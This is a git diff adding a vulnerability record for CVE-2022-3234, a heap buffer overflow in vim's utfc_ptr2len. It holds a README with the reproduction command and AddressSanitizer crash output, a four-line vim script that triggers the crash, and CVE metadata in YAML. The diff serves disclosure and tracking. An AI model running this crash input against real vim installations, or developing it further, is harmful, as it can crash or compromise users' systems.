diff --git a/cve/vim/2022/CVE-2022-3234/README.md b/cve/vim/2022/CVE-2022-3234/README.md new file mode 100644 index 0000000000000000000000000000000000000000..c4fa0272868a6bb3d36b45ff582839f8051ed694 --- /dev/null +++ b/cve/vim/2022/CVE-2022-3234/README.md @@ -0,0 +1,106 @@ +# CVE-2022-3234 + +# **Description** + +Heap-based Buffer Overflow in function utfc_ptr2len at vim/src/mbyte.c:2125. + +# **vim version** + +```bash +git log +commit 470a14140bc06f1653edf26ab0b3c9b801080353 (grafted, HEAD -> master, tag: v9.0.0461, origin/master, origin/HEAD) +``` + +# **Proof of Concept** + +```bash +./vim -u NONE -i NONE -n -m -X -Z -e -s -S /home/fuzz/test/poc6_hbo.dat -c :qa! +================================================================= +==130015==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000063f2 at pc 0x557b66342c95 bp 0x7ffc974c5f90 sp 0x7ffc974c5f80 +READ of size 1 at 0x6020000063f2 thread T0 + #0 0x557b66342c94 in utfc_ptr2len /home/fuzz/vim/src/mbyte.c:2125 + #1 0x557b6637ddca in inc /home/fuzz/vim/src/misc2.c:360 + #2 0x557b6637dca4 in inc_cursor /home/fuzz/vim/src/misc2.c:337 + #3 0x557b663e6139 in op_replace /home/fuzz/vim/src/ops.c:1235 + #4 0x557b663fdce4 in do_pending_operator /home/fuzz/vim/src/ops.c:4200 + #5 0x557b663b3dce in normal_cmd /home/fuzz/vim/src/normal.c:959 + #6 0x557b6623518b in exec_normal /home/fuzz/vim/src/ex_docmd.c:8825 + #7 0x557b66234f4a in exec_normal_cmd /home/fuzz/vim/src/ex_docmd.c:8788 + #8 0x557b662347ee in ex_normal /home/fuzz/vim/src/ex_docmd.c:8706 + #9 0x557b66210f7c in do_one_cmd /home/fuzz/vim/src/ex_docmd.c:2569 + #10 0x557b662081d8 in do_cmdline /home/fuzz/vim/src/ex_docmd.c:990 + #11 0x557b6652d77c in do_source_ext /home/fuzz/vim/src/scriptfile.c:1664 + #12 0x557b6652e9b1 in do_source /home/fuzz/vim/src/scriptfile.c:1808 + #13 0x557b6652b46f in cmd_source /home/fuzz/vim/src/scriptfile.c:1163 + #14 0x557b6652b4d4 in ex_source /home/fuzz/vim/src/scriptfile.c:1189 + #15 0x557b66210f7c in do_one_cmd /home/fuzz/vim/src/ex_docmd.c:2569 + #16 0x557b662081d8 in do_cmdline /home/fuzz/vim/src/ex_docmd.c:990 + #17 0x557b66206572 in do_cmdline_cmd /home/fuzz/vim/src/ex_docmd.c:584 + #18 0x557b6680b8be in exe_commands /home/fuzz/vim/src/main.c:3139 + #19 0x557b66804a27 in vim_main2 /home/fuzz/vim/src/main.c:781 + #20 0x557b668042df in main /home/fuzz/vim/src/main.c:432 + #21 0x7f8bddff7082 in __libc_start_main ../csu/libc-start.c:308 + #22 0x557b66085e4d in _start (/home/fuzz/vim/src/vim+0x13ae4d) + +0x6020000063f2 is located 0 bytes to the right of 2-byte region [0x6020000063f0,0x6020000063f2) +allocated by thread T0 here: + #0 0x7f8bde48e808 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:144 + #1 0x557b6608628a in lalloc /home/fuzz/vim/src/alloc.c:246 + #2 0x557b6608607b in alloc /home/fuzz/vim/src/alloc.c:151 + #3 0x557b6637d267 in coladvance2 /home/fuzz/vim/src/misc2.c:236 + #4 0x557b6637c02c in coladvance_force /home/fuzz/vim/src/misc2.c:58 + #5 0x557b663e59d0 in op_replace /home/fuzz/vim/src/ops.c:1203 + #6 0x557b663fdce4 in do_pending_operator /home/fuzz/vim/src/ops.c:4200 + #7 0x557b663b3dce in normal_cmd /home/fuzz/vim/src/normal.c:959 + #8 0x557b6623518b in exec_normal /home/fuzz/vim/src/ex_docmd.c:8825 + #9 0x557b66234f4a in exec_normal_cmd /home/fuzz/vim/src/ex_docmd.c:8788 + #10 0x557b662347ee in ex_normal /home/fuzz/vim/src/ex_docmd.c:8706 + #11 0x557b66210f7c in do_one_cmd /home/fuzz/vim/src/ex_docmd.c:2569 + #12 0x557b662081d8 in do_cmdline /home/fuzz/vim/src/ex_docmd.c:990 + #13 0x557b6652d77c in do_source_ext /home/fuzz/vim/src/scriptfile.c:1664 + #14 0x557b6652e9b1 in do_source /home/fuzz/vim/src/scriptfile.c:1808 + #15 0x557b6652b46f in cmd_source /home/fuzz/vim/src/scriptfile.c:1163 + #16 0x557b6652b4d4 in ex_source /home/fuzz/vim/src/scriptfile.c:1189 + #17 0x557b66210f7c in do_one_cmd /home/fuzz/vim/src/ex_docmd.c:2569 + #18 0x557b662081d8 in do_cmdline /home/fuzz/vim/src/ex_docmd.c:990 + #19 0x557b66206572 in do_cmdline_cmd /home/fuzz/vim/src/ex_docmd.c:584 + #20 0x557b6680b8be in exe_commands /home/fuzz/vim/src/main.c:3139 + #21 0x557b66804a27 in vim_main2 /home/fuzz/vim/src/main.c:781 + #22 0x557b668042df in main /home/fuzz/vim/src/main.c:432 + #23 0x7f8bddff7082 in __libc_start_main ../csu/libc-start.c:308 + +SUMMARY: AddressSanitizer: heap-buffer-overflow /home/fuzz/vim/src/mbyte.c:2125 in utfc_ptr2len +Shadow bytes around the buggy address: + 0x0c047fff8c20: fa fa 03 fa fa fa 03 fa fa fa 03 fa fa fa fd fa + 0x0c047fff8c30: fa fa 03 fa fa fa fd fa fa fa 00 00 fa fa 01 fa + 0x0c047fff8c40: fa fa fd fa fa fa fd fa fa fa fd fa fa fa 02 fa + 0x0c047fff8c50: fa fa 03 fa fa fa 03 fa fa fa 04 fa fa fa 01 fa + 0x0c047fff8c60: fa fa fd fa fa fa fd fa fa fa fd fa fa fa 03 fa +=>0x0c047fff8c70: fa fa fd fa fa fa 02 fa fa fa 02 fa fa fa[02]fa + 0x0c047fff8c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x0c047fff8c90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x0c047fff8ca0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x0c047fff8cb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x0c047fff8cc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa +Shadow byte legend (one shadow byte represents 8 application bytes): + Addressable: 00 + Partially addressable: 01 02 03 04 05 06 07 + Heap left redzone: fa + Freed heap region: fd + Stack left redzone: f1 + Stack mid redzone: f2 + Stack right redzone: f3 + Stack after return: f5 + Stack use after scope: f8 + Global redzone: f9 + Global init order: f6 + Poisoned by user: f7 + Container overflow: fc + Array cookie: ac + Intra object redzone: bb + ASan internal: fe + Left alloca redzone: ca + Right alloca redzone: cb + Shadow gap: cc +==130015==ABORTING +``` \ No newline at end of file diff --git a/cve/vim/2022/CVE-2022-3234/poc6_hbo.dat b/cve/vim/2022/CVE-2022-3234/poc6_hbo.dat new file mode 100644 index 0000000000000000000000000000000000000000..31575c48096d57671508a573ee2ea2405a849f05 --- /dev/null +++ b/cve/vim/2022/CVE-2022-3234/poc6_hbo.dat @@ -0,0 +1,4 @@ +s/\v/ 0 +no0 Pv +se ve=all +sil!norm00r0 \ No newline at end of file diff --git a/cve/vim/2022/yaml/CVE-2022-3234.yaml b/cve/vim/2022/yaml/CVE-2022-3234.yaml new file mode 100644 index 0000000000000000000000000000000000000000..aee911a09d45ada0c8cfb61ee5513bae042e6563 --- /dev/null +++ b/cve/vim/2022/yaml/CVE-2022-3234.yaml @@ -0,0 +1,19 @@ +id: CVE-2022-3234 +source: https://huntr.dev/bounties/90fdf374-bf04-4386-8a23-38c83b88f0da/ +info: + name: Vim是一款基于UNIX平台的编辑器。 + severity: High + description: | + Heap-based Buffer Overflow in function utfc_ptr2len at vim/src/mbyte.c:2125. + scope-of-influence: + vim<9.0.0483 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2022-3234 + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H + cvss-score: 7.8 + cve-id: CVE-2022-3234 + cwe-id: CWE-787, CWE-122 + cnvd-id: None + kve-id: None + tags: cve2022, buffer overflow \ No newline at end of file diff --git a/openkylin_list.yaml b/openkylin_list.yaml index 0d949e3432bd81fb3bc777aeab9ec46b183f9fb8..757d3b04ca9e5e3561b5dd86de1449c63b5fb18e 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -85,6 +85,7 @@ cve: - CVE-2022-2257 - CVE-2022-2264 - CVE-2022-2598 + - CVE-2022-3234 - CVE-2023-0433 - CVE-2023-0054 openssl: